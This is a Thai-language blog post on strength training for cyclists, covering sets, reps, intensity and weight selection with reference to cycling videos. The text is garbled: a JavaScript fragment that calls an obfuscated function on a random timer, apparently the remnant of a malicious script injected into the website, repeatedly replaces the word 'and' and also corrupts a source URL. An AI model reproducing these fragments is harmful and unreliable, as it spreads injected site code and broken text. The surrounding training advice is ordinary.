Strength training กี่ครั้งกี่รอบ หนักเบาเท่าไหร

สืบเนื่องจากบทความเก่า 5 กระบวนท่าฝึกกล้ามเนื้อเพิ่มความเร็ว ที่ระบุถึงการเพิ่มความเร็วในการปั่นสามารถทำได้โดยการฝึก Strength training หรือฝึกความแข็งแกร่งให้กล้ามเนื้อเพื่อให้สามารถผลิตพลังและมีความทดทานมากขึ้น

การฝึกเพื่อสร้างความแข็งแกร่งนอกจากจะทำให้เราผลิตพลังงานออกมาได้มากขึ้นแล้ว การฝึกกล้ามเนื้อจะช่วยเพิ่มสิ่งที่เรียกว่า Muscle coordination อธิบายง่ายๆ คือ มัดกล้ามเนื้อเกือบจะถูกกระตุ้นให้มีการทำงานร่วมกันมากขึ้น ทำให้การส่งถ่ายพลังงานได้อย่างไหลลื่น

ตัวอย่างสามารถดูได้จากคลิปของ GCN…

Team strength andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and conditioning โค้ช Riccardo Colucci ผู้รับผิดชอบในการฝึกความแข็งแกร่งและความยืดหยุ่นกล้ามเนื้อให้กับทีม Tinkoff-Saxo

ที่วินาที 0.39 ได้เริ่มอธิบายประโยชน์ของการฝึก Strength training ที่สำคัญอีกอย่างหนึ่งคือ การส่งผ่านพลังงาน (transmit power) จากขาไปสู่กล้ามเนื้อส่วนอื่นๆ และไปสู่จักรยาน ให้พุ่งไปข้างหน้า

เปรียบเทียบได้กับร่างกายเราเป็นเครื่องยนต์รถแข่ง F1 ทำอย่างไรจึงจะส่งพลังงานไปสู่สวนต่างๆ ได้อย่างมีประสิทธิภาพที่สุด การฝึกกล้ามเนื้อจึงเป็นเหมือนการสร้างสะพานทางเชื่อมจากเครืองยนต์ไปสู่ล้อ คุณมีเครื่องยนต์ที่ทรงพลัง อุปกรณ์ส่วนต่างก็ต้องมีความแข็งแรงเพื่อรองรับพลังงานที่จะถูกส่งผ่านไปด้วย

ดังนั้น นักปั่นจักรยานจึงควรมีการผสมผสานโปรแกรมฝึกกล้ามเนื้อ (Strength training) ไปในเมนูตัวเองด้วย

เรามาดูตัวอย่างจาก Vegan Cyclist

เห็นได้ว่าจะมีการใส่โปรแกรมการฝึก strength training ลงไป นอกเหนือจากการฝึกปั่นอย่างเดียว ซึ่งเค้าจะใช้วิธียกเวท (weight training) ถ้าใครที่ไม่มีลูกตุ้มหรือไม่อยากเข้าโรงยิม สามารถฝึกแบบ Body weight training ก็ได้

มาต่อกันที่การฝึก strength training ของเค้าว่ามีกี่ท่า กี่เซต

ท่าหลักจะมีทั้งหมด 5 ท่าหลักๆ เน้นที่กล้ามเนื้อ core และส่วนของ lower body ซึ่งเขาทำ 2 ครั้งต่อสัปดาห์เป็นเวลา 2 เดือนก่อนจะเข้าสู่โปรแกรมฝึกเพื่อแข่งต่อไปในเดือน เมษายนถึงปลายกันยายน

เทคนิคที่น่าสนใจ อย่างเช่นการฝึก Squats ซึ่งเริ่มต้นวอร์มอัพ น้ำหนักเวทที่ใช้อยู่ที่ 60% ของน้ำหนักร่างกายหลังจากนั้นน้ำหนักเวทที่ใช้จะอยู่ที่ 90% ของน้ำหนักร่างกาย และค่อยๆ เพิ่มน้ำหนักเวทขึ้นทุกๆ สัปดาห์ หรือแม้แต่การฝึก Leg press เค้าก็มีการวอร์มที่น้ำหนักเวทน้อยๆ ก่อนไปสู่น้ำหนักเวทสูงๆ

มาถึงคำถามหลัก…เราต้องเล่นกี่เซต เซตละกี่ครั้ง และน้ำหนักเท่าไหน

ก่อนจะตั้งคำถามว่าจุดประสงค์ของการฝึกกล้ามเนื้อของเราเพื่ออะไร

1. เพื่อเพิ่มความแข็งแกร่ง (increase strength)
2. เพื่อเพิ่มความทนทานของกล้ามเนื้อ (improve muscle endurance)
3. เพื่อสร้างกล้ามเนื้อ (Building muscle andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and tone body)

นักปั่นและนักวิ่งจะอยู่ในสาย Cardio และเป็นกีฬาประเภท Endurance ที่ต้องใช้ความอึดสู้กับระยะทางไกล (ยกเว้นวิ่ง 100 เมตรที่ไม่จำแป็นต้องใช้ความอึด) ซึ่งไม่ใช่การออกกำลังกายเพื่อเสริมกล้ามเนื้อให้ดูใหญ่โตเหมือนสาย Body build แน่นอน

ดังนั้นลำดับความสำคัญคือสร้างความแข็งแกร่งในการรีดพลัง และสร้างความทนทานในการรองรับความเครียดที่จะเกิดจากการใช้งาน ส่วนการสร้างกล้ามเนื้อจะมาเป็นหัวข้อสุดท้าย

ข้อควรรู้…การฝึกกล้ามเนื้อจะมีส่วนในการสร้างมัดกล้ามเนื้อเหมือนกัน ยิ่งมัดกล้ามเนื้อมีขนาดใหญ่ พลังก็ยิ่งเยอะขึ้น แต่ขณะเดียวกันน้ำหนักร่างกายก็จะเพิ่มขึ้น และตามหลักฟิสิกส์วัตถุที่มีมวลเบาจะเคลื่อนที่ได้เร็วกว่าวัตถุที่มีมวลหนักกว่า ดังนั้นเราจึงควรบาลานซ์สมดุลระหว่างการสร้างกล้ามเนื้อเพื่อรีดเอาพลัง ความทนทานและน้ำหนักที่จะเพิ่มขึ้น

เรามาดูคอนเซ็ปหลักๆ ของ strength training กันต่อ

1. ความสัมพันธ์ระหว่าง จำนวนครั้ง (Reps = Repetitions) กับความหนักหน่วง (Intensity หรือจะหมายถึงน้ำหนักก็ได้)

ถ้าทำจำนวนครั้งได้มาก (More reps) = ความหนักหน่วงน้อย (low intensity)
ถ้าทำจำนวนครั้งได้น้อย (Less reps) = ความหนักหน่วงมาก (High intensity)

เราสามารถยกเวทได้มากจำนวนครั้งถ้าน้ำหนักเบา และยกได้น้อยลงถ้าเวทมีน้ำหนักมาก ซึ่งความหนักหน่วง (intensity) ที่เราใช้หรือน้ำหนักของเวทจะมีผลต่อจุดประสงค์ในการฝึกของเรา มีผลต่อจำนวนครั้ง (reps) ในการฝึก ซึ่งจะส่งผลต่อการสร้างกล้ามเนื้อ ความแข็งแกร่งและความทนทาน

2. ไอเดียจำนวนครั้งสำหรับจุดประสงค์ที่ต่างกันสามารถแบบได้เป็น

จากตารางจะเห็นได้ว่า…

จำนวนครั้งน้อย (low reps high intensity) เป็นรูปแบบไอเดียที่เหมาะแก่การฝึกเพิ่มความแข็งแกร่ง
จำนวนครั้งมาก (High reps low intensity) เป็นรูปแบบไอเดียที่เหมาะแก่การฝึกความทนทานให้กล้ามเนื้อ
จำนวนครั้งานกลาง (Moderate reps andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and intensity) เป็นรูปแบบไอเดียที่จะให้ผลในการสร้างกล้ามเนื้อและทำให้สัดส่วนร่างกายดูดี (tone body)

การเลือกจำนวนเซตและจำนวนครั้ง

ในการเลือกจำนวนเซตและจำนวนครั้ง ต้องดูที่…ความฟิตของเรา หรือ level of Fitness

เราเป็นแบบ Untrained หรือบุคคลที่ไม่เคยเล่นเวทมาเลยใช่หรือมั้ย ถ้าใช่..ให้เริ่มจากน้อยๆ แล้วค่อยๆ เพิ่มความหนักหน่วง อาจจะเริ่มจาก จำนวนท่า เซตและจำนวนครั้งที่สามารถทำได้ภายใน 5 นาทีก่อน ซึ่งต้องคำนวนเอาเองนะครับ และค่อยๆ เพิ่มอีก 5 นาทีเมื่อฝึกครอบ 3 วัน ฝึกไปจนสามารถทำได้ถึง 30 นาทีต่อวัน หลังจากนั้นก็ฝึก 2-3 ครั้งต่อสัปดาห์

ถ้าจำยากไปลองดูวิธีนี้ก็ได้ครับ

1. ฝึกเพื่อเพิ่มความแข็งแกร่ง (increase strength) ยกเวท 1-8 ครั้ง ที่ความเข้มข้นหรือ High Intensity
2. สร้างกล้ามเนื้อ หรือแม้แต่การ Tone body เลือกยกที่ 5-12 ครั้ง ที่ความเข้มข้นกลางๆ หรือ moderate Intensity
3. สร้างความทดทาน เลือกจำนวนครั้งที่มาก High reps ประมาณ 12-20 ครั้งและที่ low intensity

คำแนะนำสำหรับนักปัน ผู้เขียนอยากให้เริ่มจากการฝึกเพื่อสร้างกล้ามเนื้อระดับหนึ่งก่อน เพื่อรองรับ workload หรือการฝึกที่จะมีมากขึ้น สร้างกล้ามเนื้อให้เป็นเหมือนห้องเครื่องสร้างพลังงาน จากนั้นมาต่อที่การสร้างความแข็งแกร่งและความทนทาน

ถ้าดูจากคลิปตัวอย่างของ Vegan Cyclist จะพบว่าเค้ามีประมาณ 3-4 เซตและทำ 10-15 ครั้ง บางท่าไปถึง 20-30 ครั้ง แสดงว่าโฟกัสไปที่ muscular endurance

แต่ทั้งนี้การเลือกจำนวนครั้งก็ขึ้นอยู่กับ ระดับความฟิตของร่างกาย ระยะที่ใช้แข่งขัน ยิ่งระยะสั้นต้องเน้นความแข็งแกร่งเพื่อเรียกพลัง แต่ระยะยาวต้องเป็นแบบความทนทาน

การเลือกน้ำหนัก

การเลือกน้ำหนักจะเป็นแบบ Trial andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and error ครับ ต้องมีการลองผิดลองถูก แต่ก็มีไกด์ไลน์ให้อยู่

1. ค้นหาน้ำหนักเวทที่หนักที่สุดที่เราสามารถยกได้ ตีให้เป็น 100% intensity สมมุติเป็น 16 กิโลกรัม
2. ค้นหาน้ำหนักเวทเบาที่สุดที่มีซึ่งส่วนมากจะมีเขียนไว้ อาจจะเป็นแค่ 1 หรือ 2 กิโลกรัมก็ได้
3. ช่วงกลางของ 1-16 กิโลกรัม คือ 8 กิโลกรัมอาจจะเป็นน้ำหนักที่เหมาะกับเรา ถ้ายกแล้วรู้สึกต้องใช้ความพยายามมาก ให้ลดน้ำหนักลงมากก่อน

หรือ

1. เลือกจำนวน เซตที่ต้องการและให้จำนวนครั้งที่ 10-12 ครั้ง
2. เลือกเวทระดับกลางที่เราคิดว่ายกจนจบเซตได้
3. ถ้าเล่นจบเซตแล้วรู้สึกไปต่อได้ ให้เพิ่มน้ำหนักอีกประมาณ 5 lbs หรือ 2 กิโลกรัม
4. ถ้าเล่นแล้วรู้สึกยากต้องมีการสวิง ให้ลดน้ำหนักลงอีกประมาณ 5 lbs หรือ 2 กิโลกรัม

ข้อควรรู้ เวทน้ำหนักเบาเราจะทำ Reps ได้มากกว่าเวทน้ำหนักมากครับ

ที่มา andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-reps.htm”>http://www.bodybuilding.com/fun/how-many-sets-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-reps.htm

http://www.aworkoutroutine.com/weight-training-intensity/

http://www.menshealth.com/fitness/how-many-sets-should-i-do-strength

http://exercise.about.com/od/exerciseworkouts/f/howmuchweight.htm